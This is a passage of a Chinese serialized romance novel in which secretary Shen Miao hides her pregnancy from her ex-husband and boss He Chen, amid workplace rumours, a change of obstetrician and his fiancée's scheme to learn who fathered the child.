程唯怡穿着淡绿色的连衣裙,化着淡妆,身上带着一股名门千金的贵气。 沈渺身着一身黑色连衣裙,不似先前紧身的那种,而是宽松版型,完美地遮住了肚子。 知道她怀孕,程唯怡特意往她小腹多看了两眼。 藏得可真深,不知道怀孕的一点都看不出来。 她站在车门外候着。 程唯怡打量够了,抬脚上车。 沈渺关好车门,回到驾驶位,驱车直奔酒店。 “贺忱哥怎么不来接我。” 上车后,程唯怡先开口。 沈渺如实答,“贺总有个国际会议要开。” “那怎么是你来接我?”程唯怡不满,她不愿看到沈渺。 沈渺,“林助请假了。” 闻言,程唯怡不再说什么。 一个小时后,宴会厅在酒店三楼。 沈渺将车停在地下,与程唯怡一起上去。 她穿着平底鞋,仍旧比程唯怡高出半个头。 一身黑色尽显风情,比起程唯怡显得大气又成熟。 尤其那张惊艳绝伦的脸,就算跟在程唯怡后面,也并未逊色半分,反而更吸睛。 只是她眉目淡淡皱着,因为还没想好,等会儿怎么躲酒。 “你别跟着我们,我不想看到你。”程唯怡察觉到众人的目光,聚在沈渺身上居多。 她呵斥完,快步去了贺忱身边,甩下沈渺。 沈渺步伐一顿,索性掉头朝阳台上走去。 夜风微凉,阳台上一株两米高的绿植被风吹得摇曳。 她坐在藤编椅上,打量着宴会厅内的情景。 贺忱跟程唯怡喜事将近,不少人都过来恭喜他。 他喝了不少,那张矜贵的面容多了几抹柔和,眼尾泛着淡红。 许是有些撑不住了,他扫视周围,应该是在找沈渺。 沈渺垂下眼帘,望着小腹陷入沉思。 躲过这一次,但下次呢? 忽然,阳台门被推开。 “沈渺,你怎么在这里?” 张科研也喝了酒,身上带着一股酒味。 沈渺抬起头来,“贺总那边不需要我。” “怎么会?”张科研往厅内看了一眼,“贺总刚还问我,有没有看到你。” “程小姐不想看到我。”沈渺站起来说,“保温桶在车上,我去拿给你。” 张科研挡着门,挡住了她离开的路,“不急,等会儿散场时再给我吧。” “以后别送了,还保温桶麻烦,也不会有结果。” 沈渺说得很直白。 她刚说完阳台门再次被打开。 这次,是贺忱。 听到开门声,张科研转身回头,与沈渺站到了一起。 两人齐齐迎上贺忱旋涡般的目光。 103.没到公开的那一步? “现在是上班时间。” 贺忱清冷的目光,夹杂着几丝酒意的迷离。 沈渺镇定解释,“程小姐不让我跟着,而且等下我要开车送您和程小姐回去。” 张科研与贺忱见面的次数不多。 先前几次见面,他都不觉得贺忱像传说中那样难沟通。 不知怎的,今天的贺忱身上有一股让人望而却步的冷漠。 他张了张嘴想打招呼,却说不出口。 “是吗。” 贺忱挑喉结滚动,溢出两个字,走过去在沈渺旁边的藤编椅上坐下。 他指尖抵着额头,看起来有些不舒服。 “我去给您倒杯温水。” 沈渺微微颔首,转身回到厅内。 “贺总。”张科研趁机打了声招呼。 贺忱却像没听见那般,一味用指尖掐眉心。 他硬朗的眉心中央,都被掐出了痕迹。 张科研施施然的离开阳台,而此刻沈渺已经不在他视线内,他只能回陈庆身边去。 几分钟后,沈渺拿了一杯温水回到阳台上。 贺忱靠在藤编椅上,双手安放在身上,修长的十指穿插在一起。 他双眸微闭,不怒自威的面容透出些许疲倦。 沈渺轻轻将水放在小矮桌上,又回厅内找服务员要薄毯,给贺忱盖上。 做完这一切,她退回厅内,在阳台的门旁边守着。 又有几个人想来跟贺忱道喜,都被沈渺打发了。 酒局过半,贺忱留下只是为了给程家多一些与这些商圈大佬寒暄的机会。 程唯怡跟在程青良旁边应酬,笑得腮帮都快僵硬了。 她找了一圈没找到贺忱的影子,直到看到沈渺守在阳台门处。 “你在这儿干什么?” 沈渺唇瓣微动,“贺总在休息。” 她说完,程唯怡才看到在阳台的藤编椅上小憩的贺忱。 程唯怡推开她,就去了阳台上。 沈渺回头看了一眼,刚好看到程唯怡坐在藤编椅扶手上,弯着腰去喊贺忱。 贺忱被喊醒了,单薄的眼皮颤了颤,睁开的眼睛里带着一丝血红。 “贺忱哥,我们走吧,我爸也应酬得差不多了。” 程唯怡伸出手,朝他脖颈搭过去。 不待她的手碰到贺忱的肩膀,就被贺忱一把捉住。 小憩之后本慵懒柔和的目光,一下变得清晰。 “好,走。” 他薄唇轻启,吐出两个字,松开程唯怡的手站起来。 程唯怡的手还保持着那姿势,她看着站起来的男人。 “你的衣领歪了。” 贺忱看着阳台的玻璃门上倒影,交叠着沈渺的影子。 他抬起手将衬衫整理好,朝程唯怡点了下头,“好了,走吧。” 贺忱率先推开阳台门,回到厅内。 沈渺寻声回头,面前是贺忱递来的咖红色薄毯。 “现在走吗?” 她接过薄毯来,问了一句。 贺忱微点了下头,“你去开车。” “好。”沈渺转身离开。 阳台上,隔着窗户,程唯怡紧紧盯着他们。 直到沈渺离开,她推开门进来。 “贺忱哥,我刚听人说,沈秘书跟微克的一个项目经理,在交往?” 程唯怡的视线在宴会厅搜寻陈庆的身影,“陈总带了两个人来,哪个是沈秘书交往的对象?” 贺忱的目光准确无误地落在张科研身上。 他却是说,“是吗,不清楚。” 说完他朝外面走去。 “公司上下都在传,贺忱哥你不会还不知道吧?” 程唯怡快步跟上贺忱。 可不论她怎么说,贺忱都是用只字片语回答。 ‘不知道、不清楚、是吗’? 几分钟后,两人上车。 沈渺发动引擎,汽车驶入车流。 车厢内静落,贺忱身上淡淡的烟味和酒味混杂,逐渐弥漫开来。 他依旧坐在靠窗位置,目光落在窗外飞流而过的夜景上。 “沈秘书。” 程唯怡率先打破沉寂。 沈渺看向后视镜,“程小姐,怎么了?” “听说你在跟微克的一个人交往,是真的吗?” 程唯怡若有若无地打量贺忱的脸色。 沈渺没想到她会突然问私人问题。 看到她暗中打量贺忱的小动作,她沉吟片刻道,“还没到那一步。” 模棱两可的回答,落在程唯怡的耳朵里,就是她想否认。 “你的意思是,没到公开那一步?” 红绿灯路口,沈渺踩下刹车。 时间一分一秒过去,赶在绿灯亮起之前,沈渺鼻腔里发出一个单音节,“嗯。” 得到了想要的答案,程唯怡满意地笑了。 “我刚刚看到那个人了,长得挺帅的。” 贺忱沉默着,一股令人窒息的逼仄感蔓延开来。 程唯怡察觉不到。 可沈渺总觉得,呼吸一点点被夺了那般,喘气都有些费劲。 她附和着程唯怡的话,“是吗。” “当然。”程唯怡说完,冲贺忱笑了笑,“当然,长得没贺忱哥好看。” 沈渺点着头,“确实,跟贺总比不得。” 贺忱面色不辨喜怒,依旧看着窗外,并未因为她们的话,有任何反应。 程唯怡有些挂不住,她听得出沈渺公事公办一样应付她。 贺忱又在这儿不理不睬—— 随着程唯怡安静下来,车厢里的气氛更为静谧。 两个小时后,沈渺回家,洗漱后睡觉。 她并未把程唯怡的试探当回事。 但她没想到,程唯怡回家后,在公司群里发了张科研的照片,告诉大家,这是她的男朋友。 公司群炸了,几百条消息都是讨论她跟张科研般配不般配的。 当然,大家说的都是般配。 一早,沈渺点开微信,先看到的是吴蕾发来的消息。 【你跟科研交往了?这么大的事情,怎么还不跟我说!?上次不还说心里有人吗?】 【我就知道,上次的借口是敷衍我的吧?这短短几日,被科研打动了?】 沈渺看到她发来的消息,一头雾水。 直到她打开被多次@的工作群,准确无误地找到了昨晚程唯怡抛出来的她与张科研交往的话题—— 尤其还贴了张科研的照片。 程唯怡把昨晚她模棱两可的回答,自动翻译成两人已经在一起,就差公开了。 【大家不要跟沈秘书学习,谈恋爱还藏着掖着,贺忱哥可是很开明的,等沈秘书结婚的时候,我跟贺忱哥都会封大红包。】 104.沈渺孕检转档,碰贺忱 沈渺脑仁一阵胀痛,这局怎么破? 她并未回复任何消息,先收拾东西去上班。 从地下车库出来,乘电梯上楼,抵达一楼时电梯停下,进来不少人。 “沈秘书早,恭喜沈秘书!” “沈秘书,你男朋友长得真好看。” “跟你好般配啊!听说是海外留学归来的!” 电梯里,众人纷纷祝贺沈渺。 沈渺只是淡笑一下,并未解释。 她将包放在十七楼,然后到顶楼秘书部,找吴蕾解释昨晚的事情。 “怪我没有跟程小姐说清楚,才造成这么大的误会,我这儿无所谓,主要是你别误会,也别给张先生传达错误信息。” 吴蕾听得一愣一愣的。 听她全说完,才算明白过来,“程小姐这是还不放心你跟着贺总,故意的呗?” “可以这么理解。”沈渺知道吴蕾是聪明人,一点就透。 吴蕾有些失望,“我还以为你真跟……唉,不勉强,还好我没去问科研,不然又让他空欢喜一场。” 只要话不是从吴蕾嘴里传到张科研耳朵里,张科研就不会信。 沈渺跟她解释通了,松一口气,至于公司群里的那些话,她不做解释。 前台的小姑娘上班后才看到昨晚的新闻。 她爆出张科研时不时就快来给沈渺送汤。 原本安静的群里,立马又沸腾起来。 上午十点,沈渺跟着贺忱去开会。 她在一旁做记录,被调成震动的手机时不时就响一下。 都是群里有人@她,问她跟张科研的事情。 贺忱目光落在眼前的笔记本屏幕上,看着群里不断弹出来的消息。 多次的@沈渺都未露面,又一个人蹦出来问:沈秘书,你快回答一下啊! 他手指微动,也@了沈渺一条消息。 【暂停会议,解答一下大家的疑惑。】 霎时,群里安静下来。 贺忱在群里从未说过话,大家都忘了他的存在。 若不然能在上班时间,这么疯狂的水群吗? 半小时后,会议结束。 沈渺点开群消息,刚进去就看到贺忱那句话。 难怪突然安静下来。 她顺着贺忱的消息回复了一句:工作时间,好好上班。 之后,群里静悄悄。 沈渺觉得耳根子都清净了不少。 “下不为例。” 贺忱将手机揣回兜里,在她身边走过,丢下四个字。 沈渺捏着文件的手一紧,点了下头,“是。” 这件事情是程唯怡起的头,最后算是他灭的‘火’。 沈渺被动的牵连其中,不在贺忱的考虑之内,他只知道因为她,公司群都快炸了。 员工无心工作了。 沈渺刚回办公室,手机就响了。 “您好,请问是沈渺沈女士吗?” “是,您哪位。” “沈女士您好,我是京北医院这边,您之前看诊的妇产科医生辞职了,现在把您交接给国外研学归来的主任医生,您看您什么时候有时间过来转一下孕检档案。” 电话那端,小护士的声音十分柔和。 沈渺看了眼日历,距离下次孕检还有一段时间。 “下次产检时,我再转孕检档案。” 小护士犹豫了下说,“因为主任医生是从国外回来的,很多人慕名而来,把档案转过来他会优先看诊,能有效避免您下次孕检挂不上号的问题。” 京北医院在国内数一数二,每个医生都是一号难求。 沈渺第一次来挂妇产科,买的就是黄牛的号,后来建了档在内部挂号,才不那么难。 “那你帮我预约转档吧,转档时提前告诉我。” “您明天有时间的话可以过来,明天上午胡医生特意腾出时间处理转档。” 明天周三,上午没会,跟九洲的项目也步入正轨,可以请假。 沈渺答应,下班前上楼找贺忱请假。 她敲响办公室的门。 男人沉闷的声音传来,“进。” 沈渺推门而入,却见贺忱在窗边接电话。 白色衬衫袖口挽起着,单手插在兜里,寸寸分明的小臂交错着青色的筋脉。 他回头看了一眼,示意沈渺等着。 沈渺站在办公室中央等。 “既然回来了,总要见一面,明天晚上我组个局,给你接风。” “那上午我过去找你一趟,晚上再聚。” 贺忱绕回办公桌前,看了眼电脑上的电子行程单。 明天上午没会议安排,他能脱开身。 电话挂断,他看向沈渺,“什么事。” “贺总,我明天上午有事,想请半天假。” 沈渺说完,就察觉贺忱的目光温度降了不少。 贺忱唇瓣微动。 想问她,是不是去找张科研。 但话卡在喉咙里,像一根刺,刺得他说不出口。 半晌,他喉结滚动吐出几个字,“知道了”。 沈渺转身朝外走。 办公室安静下来,好友从国外归来的喜悦彻底散去。 一股无名的烦躁涌上来,他扯了扯领带。 手机又响了一声。 他拿起看了一眼。 【明天上午,我有个惊喜给你。】 贺忱将手机放回去,并未回复。 —— 早上八点,沈渺出发去医院。 路上堵车,三十分钟的路程一个多小时才到。 约好的九点见医生,她迟到了将近半个小时。 “沈小姐,秦医生在办公室呢,不过他现在有事,您可以先过去等。” 秦川没处理工作,而是有朋友过来了。 按理说,上班时间见朋友,是不应该的。 可谁让秦川的实力摆在这里呢,小护士擅自做主,让沈渺这个病人等着。 “好。”沈渺到医生办公室门口等着。 她毕竟晚了半个小时,等一等也是应该的。 隔着一扇门,依稀能听见里面传来两个男人交谈的声音。 话语间,时不时传来两声低笑。 不知过了多久,一阵椅子蹭过地面的刺耳声后,渐近的脚步声传来。 办公室门应声而开。 两抹颀长的身影走出来。 沈渺站起来,抬头看去,对上贺忱那张熟悉的面庞时,蓦地就僵住了。 贺忱薄凉的面容难得染着一抹笑意。 看到她,眉头蹙起,唇角的弧度渐渐放下来。 “你先回去,我这儿有病人。” 秦川拍了拍贺忱肩膀,复看向沈渺,“你是来转孕检档案的吧?” 105.你对程唯怡有感情吗 “不是。” 沈渺否认得干脆利落,她心跳快得厉害。 贺忱盯着她看。 “你们认识啊?” 秦川约莫三十来岁的年纪,肤色冷白,一双丹凤眼,中分的头发蓬松有型。 瘦瘦弱弱的身形,让他站在贺忱身边显得弱不禁风。 他嗓音清脆好听,属于温柔细腻那一卦,挺平易近人。 沈渺扯出一抹生硬笑容,将额前碎发往耳畔拢了拢。 “贺总,我来给商音预约产后半年检查,她的主治医生离职了,说跟这位秦医生约。” 商音跟她是同一个妇产科医生,现在一并交接给了秦川。 秦川看看贺忱,又看看沈渺。 “我下属。”贺忱言简意赅地与秦川解释了,沈渺的身份。 “这样啊。”秦川应了一声。 贺忱微点了下头,目光从沈渺身上移开,“我先走了。” 他这话,不知是跟秦川说还是跟沈渺说的。 沈渺迅速让开位置,“贺总慢走。” 她低垂着头,视线落在男人笔直且修长的双腿上。 随着贺忱渐渐远去,她收回视线,看向秦川。 “秦医生,你跟贺总认识?” 秦川点了下头,旋即又摇头,“算不上,有共同认识的朋友。” 沈渺沉吟片刻,将商音的档案递给秦川。 “秦医生,这是我朋友的病历档案,您收一下。” 秦川接过来,看到她手里还有一份,“这是……” “多打印了一份。”沈渺笑了下,“给她转档的事情麻烦您了,我还有事先走了。” 她将病历档案放入包中,朝秦川客气一笑,然后转身离开。 不过她没离开医院,而是找护士,安排其他妇产科医生。 “您是觉得秦医生太年轻了吗?”护士听她说换医生,惊讶极了,“他可是从国外回来的高才生,在国外参与过很多疑难妇产病例,多少人求他看诊都求不来的。” 沈渺刚刚在网上搜了一下秦川。 确实很有名,国内高等医学院毕业后,出国深造。 在医学界的名气,跟贺忱在商圈地位差不多。 可他认识贺忱。 “这么优秀的医生,应该让他帮其他更需要的病人,帮我安排一位有经验的产科医生就行了。” 护士虽然不解,可还是拿出产科医生的名单,让她自己挑选了一位。 沈渺拿着档案,又去找新医生转档。 新医生姓蔡,是除了秦川外,目前京北医院最有名气的妇产科医生。 沈渺在蔡医生门口等到中午,才进入诊室。 “你们真是一个比一个稀奇。” 蔡医生看着她的档案道,“你的原主治医生走得突然又莫名其妙,医院还规定让秦医生接手他所有的患者,秦医生那么有名气,你还不愿意跟着。” 按照医院规定,医生离职,手中的病患由医院按照疑难程度分配给不同医生。 “麻烦蔡医生帮忙安排一下吧。” 沈渺并未解释。 蔡医生将她的档案转过来,叮嘱了句,“胎儿发育虽然没问题,但是偏小,注意别太劳累,多补充营养。” “好的,谢谢蔡医生。”沈渺拿过新的档案,放入包中起身准备离开。 “你是我见过所有的孕妇中,肚子最小的,都快五个月了还像没怀的,可千万别因为孕期发胖就少吃……” 蔡医生看她肚子一点都不明显,再三叮嘱一番。 回家的路上,沈渺给商音打电话,说了遇上贺忱的事情。 “老天爷这是非要给你怀孕凑齐九九八十一难啊!好端端的,贺忱去找妇科医生干什么?他有妇科病啊!” 商音听得心惊肉跳。 沈渺开着车,看了眼时间说,“我去你那儿吧,想吃什么,我带过去。” “给我带个千层小蛋糕,还有……” 商音的还没说完,通话就被中断。 是贺忱打来的电话。 她接通,“贺总。” “晚上十点,到西亚接我。”贺忱的声音传来。 “好。” 西亚是京北最大的销金窝,能出入那里的人象征着身份和地位。 但贺忱极少去那种地方,他工作繁忙。 知道沈渺晚上还得去接贺忱,商音怒骂他没人性,大半夜还折腾人。 “高薪不是那么好拿的。” 沈渺习惯了这种生活节奏。 只不过想到今天蔡医生的话,她觉得有些愧对肚子里的孩子。 她每一餐都在尽力多吃,耐不住工作繁忙消耗太大,所以一直保证不了充足营养。 “那个秦医生长得挺好看的。” 商音在网上查了秦川的资料,看到了秦川照片。 她问沈渺,“本人怎么样?” “不是我喜欢的类型。”沈渺缓缓摇头说,“用你的话来说,像细狗。” 商音给男人分了很多类。 狼狗,奶狗,细狗,猛狗…… 还有很多品种,沈渺连记都记不住。 “我喜欢细狗啊。”商音毫不犹豫的说,“改天我可得自己好好去会会他。” 沈渺逗弄着商庭,白她一眼,“他会给你做妇科检查,是打算扒光裤子躺在检查床上调戏人家吗。” 商音顿时不笑了,嘴角抽搐着。 “你说男人当妇产科医生,怎么想的?” 沈渺被她的表情逗笑,“看网上说,男人看妇科不是get就是get。” “这不跟没说一样吗!这一定不准,等我见了自己会会就知道了。” 商音想,她去看诊一定戴个口罩,先确认秦川长得好不好看。 如果好看,她找其他机会偶遇,绝对不让秦川知道,她曾被他扒过裤子看诊…… —— 西亚。 亮如白昼的包厢里,贺忱与秦川坐在主位。 周围几个年纪相仿的商二代,正在玩儿牌。 “贺忱,你那个秘书,看起来不错。” 秦川细长的手指捏着一杯红酒,“你这么多年都单着,就没点儿心思吗。” 贺忱靠在沙发背上,眉眼透着慵懒散漫。 “我跟程唯怡,快结婚了。” “我听说了。”秦川不以为意,他正要再说什么时,包厢门被推开。 沈渺穿着浅粉色的长裙,惊艳绝伦的五官透着与这儿格格不入的清冷和单纯,还带着一丝妩媚的眉宇。 两种极致反差的状态在她脸上一同出现,却并不突兀,让人还想再多看两眼的精致。 她目光扫视一圈包厢,最后落在贺忱身上,径直走过来。 “贺总,我来接您回家。” 贺忱拿过沙发背上的外套,欲起身时—— 却听秦川又说,“我还有话没说完,你对程唯怡有感情吗。” 106.你跟张先生到哪一步了 沈渺诧异地看向秦川。 像贺忱这样的男人,没有感情怎么会结婚? 除非当初跟她,为负责。 秦川的问题—— “喝多回家去醒酒,少在这里说胡话。” 贺忱避而不答,抓过秦川的外套,朝秦川脑袋上扔过去,“先走了。” 说完他率先离开包厢,沈渺回过神后立马跟上。 秦川抓下脑袋上外套,与包厢里其他人说了一声,快步跟上。 三个人一块儿进的电梯。 包厢里乌烟瘴气,烟酒味浓的沈渺呼吸不畅。 两人像被泡在烟酒罐子里的,周围都是那股味道。 沈渺后退两步,往角落缩了缩。 “你跟贺忱几年了。” 秦川靠在电梯壁上,回过头来看沈渺。 贺忱也朝她看过来,“五六年了吧。” “五年七个月。”沈渺颔首道。 “那站在你了解的角度说说,你们贺总对程唯怡有没有感情。” 秦川对这个话题,饶有兴致。 贺忱眉骨一拢,面色不虞。 “当然有。”沈渺说。 闻言,秦川突然笑起来,“真有感情,怎么会隔了这么多年,才修成正果。” 沈渺眼观鼻鼻观心,像是没听到这个话题。 贺忱也没回答的意思。 逼仄的空间一度陷入死寂般的安静。 直到电梯门‘叮’的一声打开。 “贺忱哥,秦川!” 电梯外,程唯怡气喘吁吁。 她臂弯搭着黑色爱马仕包包,上前一步挽住贺忱的胳膊,将贺忱拉出电梯。 然后她才看到沈渺。 不过此刻她顾不上,她略显防备地看着秦川。 “秦川,你回国怎么不说一声,我跟贺忱哥要结婚了,你知道的吧,怎么聚会只喊贺忱哥一个人,不喊我?” 秦川双手插兜,不急不缓的出来。 “男人聚会,女人跟着干什么。” 沈渺走出电梯,不知是不是错觉,她觉得程唯怡来了后,秦川的脸色有些不好看。 程唯怡站在贺忱身边,隔开贺忱与秦川,“大家一起玩儿了这么多年,管什么男女,是朋友就行了。” 说着她看向贺忱,“你怎么也不喊我?” “太晚了,怕耽误你休息。” 贺忱淡声解释。 程唯怡看了看时间,“我来晚了,你们这都散场了,那……都回去吧?” “嗯。”贺忱应声,“送你回家。” “不用了,我开车了。” 程唯怡在包里拿出车钥匙,“让沈秘书送你回去吧,我自己回去就行。” 贺忱送她到车上,关好车门,隔着车窗叮嘱,“路上注意安全。” “嗯。”程唯怡难得听话,她发动引擎驱车离开。 而后贺忱与秦川打了招呼,上了沈渺的车。 沈渺将车驶入车流时,空旷的马路上已经没了程唯怡那辆车的影子。 今晚的程唯怡,怪怪的。 车辆呼啸而过。 不知过了多久,程唯怡的车再次掉头回来。 秦川还站在西亚门口吸烟,听到急促脚步声,他回过头来。 下一秒,手里的烟被夺走,一个响亮的巴掌,狠狠扇在他脸上。 “你跟贺忱哥说什么了!?” 秦川被打得歪了头,冷白的脸上赫然出现巴掌的印记。 他清冷的眼眸瞬间变得阴郁。 “程唯怡,我说过,惹我要考虑代价,你要是想死的更快一点,尽管来。” 程唯怡冷笑一声,“只要你一天不想让整个秦家蒙羞,让你跟贺忱的关系破裂,你就得听我的,少在这里吓唬我!” 秦川咬牙,毫无感情的目光盯着她,“贺忱不会爱你的,一辈子都不会。” 一霎,程唯怡的脸色苍白。 “你管不着!”她咬牙切齿,“我让你办的事情怎么样了?什么时候能知道沈渺肚子里的孩子是谁的?” 秦川抬起手,揉着被打的半张脸,“她去了别的医生那里建档,我爱莫能助。” “什么?”程唯怡脸色难堪下来。 “未来的贺太太,很有手段,再想办法把她从别的医生那里转到我手上不就是了。” 秦川阴阳怪气。 程唯怡,“在何之洲眼皮子底下把你弄进去,已经是难上加难,哪有那么容易再折腾一次?” “何之洲?”秦川目光玩味,“这场戏唱得可真足,连何之洲都牵扯进来了。” “你少在这里幸灾乐祸,等我通知。” 程唯怡将烟蒂丢在他身上,转身离开。 秦川是她手上,一颗最关键的棋子,她必须让这颗棋子,发挥最大的作用…… 看着她离开的背影,秦川的目光冷得宛若京北寒冬的冰窟。 可一想到程唯怡手里的东西,他咬着牙,转身朝车上走去。 —— 静谧的车厢,车窗半落,风声呼啸。 贺忱捏着眉骨,他墨色的眼眸看着车窗上倒影的沈渺的侧脸。 女人乌发漆黑,肤如凝脂,身上淡淡的馨香涌入鼻中。 最近,每次跟沈渺单独相处,他的心底都会生出一股异样。 想说些什么,却又不知道该说什么。 他一个人看来,这气氛有些尴尬。 可偏偏沈渺坦然自若。 贺忱合上眼睛,却怎么也压不下心头渐渐躁动的情绪。 “贺总,爷爷身体怎么样了?” 红绿灯路口,迈巴赫停下,沈渺看向后视镜问贺忱。 贺忱眼皮轻睁,“你若是担心,可以去贺家探望他。” 没想到他会这么说,沈渺怔了下忙说,“不了,怕给您带来麻烦。” 或许,贺忱不是让她去贺家看贺老爷子的意思。 是反讽刺她的关心多余。 她恪守分寸,贺忱胸腔只觉得胀得慌。 “你跟张先生,到哪一步了。” 绿灯变红,沈渺踩下油门,汽车的嗡名声将贺忱的声音压下去一些。 沈渺只听到后几个字,“您说什么到哪一步了?” 贺忱薄唇抿着,沉默下来。 “是政圈项目吗?”沈渺自顾自地回答,“九洲那边很配合,合作案初版已经定好,政圈那边也没有太大意见,预计再有一个星期,项目就正式启动……” 再过一个星期,她就没这么忙了。 贺忱没回应她汇报的工作,车厢里再度安静下来。 半小时后,汽车在贺忱的别墅前停下。 沈渺从车上下来,打开后座车门,“贺总,到了。” 贺忱合拢西装,从车上下来,却见别墅内亮着灯。 别墅门被人从里面打开,一抹身影从里面走出来。 107.沈渺,你还躲我 “怎么是你?” 明黎艳以为,贺忱是跟程唯怡在一起。 走近了,看到贺忱身边的人是沈渺,她沉了脸。 “明董。”沈渺客气道,“我送贺总回家。” 说完,她朝贺忱颔首,“贺总,没其他事情我先走了。” “嗯。”贺忱鼻腔里发出一个单音节,不等沈渺的车离开,他先朝别墅内走去。 明黎艳本想呵斥沈渺两句,让她以后少跟贺忱单独相处。 两人却是分道扬镳,她折身去追贺忱。 “你跟唯怡的婚期越来越近了,该着手准备婚礼了。” “您和程家人商量着来就行。” 贺忱进屋,换下鞋来,抬脚就往楼上走。 明黎艳站在楼梯口,喊住他,“很多事情都要两家人坐下来谈的,你什么时候有空?” “您代为处理就好。”贺忱脚步顿了下,转过头看着她,“我工作忙。” “不能拿工作当借口!”明黎艳气恼道,“一辈子一次的事情,你必须认真对待。” 贺忱腰身靠在楼梯扶手上,头顶璀璨繁复的吊灯,整个人被光环笼罩。 “第二次了。” “过去的事情,你还提她干什么!”明黎艳胸口起伏,“那次就当不存在!” 贺忱眉梢微挑。 所以,沈渺现在对他那么寡冷的态度,也是当那两年的婚姻不存在。 他薄唇抿成一条直线。 “你什么时候有时间,跟程家人一起吃饭,谈婚礼细节。” 明黎艳心平气和地与他商量。 贺忱看了看腕表,垂下眼眸的眸子遮住眼底的情绪。 “让沈渺安排吧。” 说罢他转身上楼。 明黎艳压不住火儿了,“你的事情让一个秘书安排什么!你这态度,程家怎么放心把唯怡交给你!” 伴着她的愤怒,贺忱的身形消失在二楼拐角处。 最近沈渺那边倒是没再出什么乱子。 看似风平浪静的局面,却总让明黎艳觉得不安。 她回到贺家时,已经深夜十一点了。 贺老夫人跟贺老爷子还未睡,正在客厅下五子棋。 “这么晚才回来。”贺老夫人看到她进门,关心了句,“工作忙吗。” 明黎艳放下包,叹息着进来,“去找贺忱了,他跟唯怡的婚事都定下了,却什么动静都没有,刚刚我去找他,他让我代为处理。” 贺老夫人的注意力从棋盘,转移到明黎艳的话题上。 “他能掌控整个百荣,婚事还能操持不了?你管太多了。” 明黎艳侧过身,手搭在沙发扶手上,“我怕他亏待了唯怡,关键是我觉得他态度有问题。” “你如果真这么想,我就跟你说道说道。” 贺老夫人放下棋子走过来,“你觉得他对唯怡有感情吗?” 当然有。 他们青梅竹马,一起长大。 虽然明黎艳一直撮合两人,可最后两人在一起,是他们自己决定的。 可不知怎的,明黎艳无法理直气壮地说出‘有’那个字。 “他没感情,怎么会跟唯怡结婚。” 她反问。 贺老夫人摇头,“你问我,我问谁。” 明黎艳冷静了几秒,摇头道,“不可能的,他只是不善言辞,不会表达感情。” “你会表达,那你就替他办吧。” 贺老夫人见说不通,转身招呼贺老爷子,“老伴儿,上楼睡觉。” 贺老爷子将棋子一颗颗放好,起身跟着贺老夫人上楼。 —— 政圈项目的工作进入正轨,沈渺又从十七楼搬回顶楼办公了。 刚准备上班,她的手机响了,是何之洲打来的电话。 “何总。” “沈渺,你还躲我。” 接连几次跟九洲的人见面,沈渺都没去。 确实有不想见何之洲的意思,但更多的是她太忙了。 “您有事吗?我在上班。” 沈渺反问。 何之洲哼唧道,“提醒你一声,那秦川跟贺忱、程唯怡都认识,你让他做你的主治医生,小心怀孕的事情曝光。” 他最近忙,疏忽了医院那边的动态。 今天才知道,沈渺的原妇产科主治医生辞职了。 秦川调过来,接手了沈渺。 “谢谢你提醒,我选了另外一位医生。” 沈渺客气道谢。 若不是那天在医院遇到贺忱,她现在已经转到秦川名下了。 何之洲‘呦’了一声,“这么有先见之明?几天不见,你的肚子是不是又大一圈,还没被发现吗?” 他的好意提醒加着看戏的幸灾乐祸。 “让你失望了,目前还没有。” 沈渺也在等。 等着被发现。 没想到程唯怡那边没了动静,公司也没人看出来。 “啧啧啧,等项目告一段落,我弄个庆功宴,你一定要来。” 何之洲送人情,“我一定帮你在贺忱面前争取最大的提成利益。” 这个项目做好了,沈渺能拿到六位数的提成。 那会缓解她拮据的现状。 如果效益好,或许……她可以迎来第二次提辞职的机会。 “谢谢何总。” 沈渺再一次道谢,挂断电话。 忙音打断了何之洲接下来要说的话,他盯着被挂断的电话界面,咂咂嘴。 “唉……作孽了,不该欺负沈渺这么善良的人,等这事儿过了,我一定好好弥补她,她要跟贺忱争孩子抚养权,我出钱给她打官司!” 他碎碎念着。 —— 上午十点,沈渺正埋头处理一份文件。 面前冷不丁多了一抹身影,遮住了她面前的光线。 她抬起头,对上明黎艳那端庄严肃的面容。 “明董。” “安排贺忱跟程家人一起吃晚饭,商议婚礼细节。” 明黎艳端着架子,睨着她。 沈渺看了看日程安排,“安排在明天晚上,可以吗?” 近一周,贺忱晚上都有工作安排。 但跟程家人见面谈婚事,更重要,她可以调整行程。 “行。”明黎艳对她的安排还算满意,“你订餐厅,到时候把位置发到我手机上。” 沈渺颔首,“是。” 明黎艳想到什么似的又说,“到时候不用你去,让林昭去。” “是。”沈渺一味应声。 明黎艳去了贺忱办公室,不知说了什么,没几分钟就离开了。 她前脚走,后脚贺忱就拨通内线,将沈渺喊进去。 “谁让你擅自修改行程的。” 贺忱的质问,铺天盖地而来。 108.就算没离婚我对贺总也没有非分之想 沈渺呼吸一滞,她解释道,“我觉得,您和程小姐的婚事,更加重要。” 身为贺忱的秘书,她有权利合理调整行程安排。 以往贺忱都不会过问。 谁知这次—— “把行程调整回来,按流程走。” 贺忱不容置疑。 他的不满源源不绝而来,无形的压力涌过来。 “知道了。” 沈渺掏出手机,当着他的面将电子行程修改掉。 与程家的饭局,定在一周后的晚上。 然后她又出去,把纸质的行程表上也修改好,重新给贺忱送了一份。 明黎艳知道行程修改了,给沈渺打电话,一顿臭骂。 沈渺没吭声,由着她骂够了,说道,“行程是贺总安排的,明董可以拿我撒气,毕竟我人微言轻,但我纠正一下,我没有您说的那些对贺总图谋不轨的小心思。” 她字正腔圆地解释,明黎艳更为窝火。 却是一个反驳的字眼,也说不出了。 “别说现在离了婚,就算没离婚时,我对贺总也没有非分之想,请明董以后自重。” 沈渺挂了电话。 她将手机丢到一旁,正准备埋头工作时,冷不丁看到办公室门敞开着。 贺忱身子斜靠着门框,鹰隼般锐利的眼睛看着她,仿佛能将她穿透。 她黑白分明的眸清可见底。 刚才一番话,掷地有声,像一颗颗小石子砸在贺忱的心口。 不疼,但是很难受。 沈渺与他对视了几秒,就低下头忙自己的。 可她能察觉到,男人的目光仍然落在她身上。 良久,那道目光才消失,他回了办公室。 沈渺紧绷的身体,微微松懈下来。 虽贺忱什么也没说,可她能清晰地在工作上感受到他的不满。 下午三点,商音给她发来消息,转了一则医患纠纷新闻。 【这是不是你新换的主治医生?】 沈渺点进去看了一眼,赫然是她刚见过一次的蔡医生。 十年前蔡医生给一个孕妇产检不够仔细,对方的胎儿有严重的肢体残缺,没有检测出来导致孕妇产下残疾婴儿的事情被曝光。 医院顶不住压力,将蔡医生开除了。 商音:【都十年前的事情了,她一定是得罪人了,现在被揪着不放。】 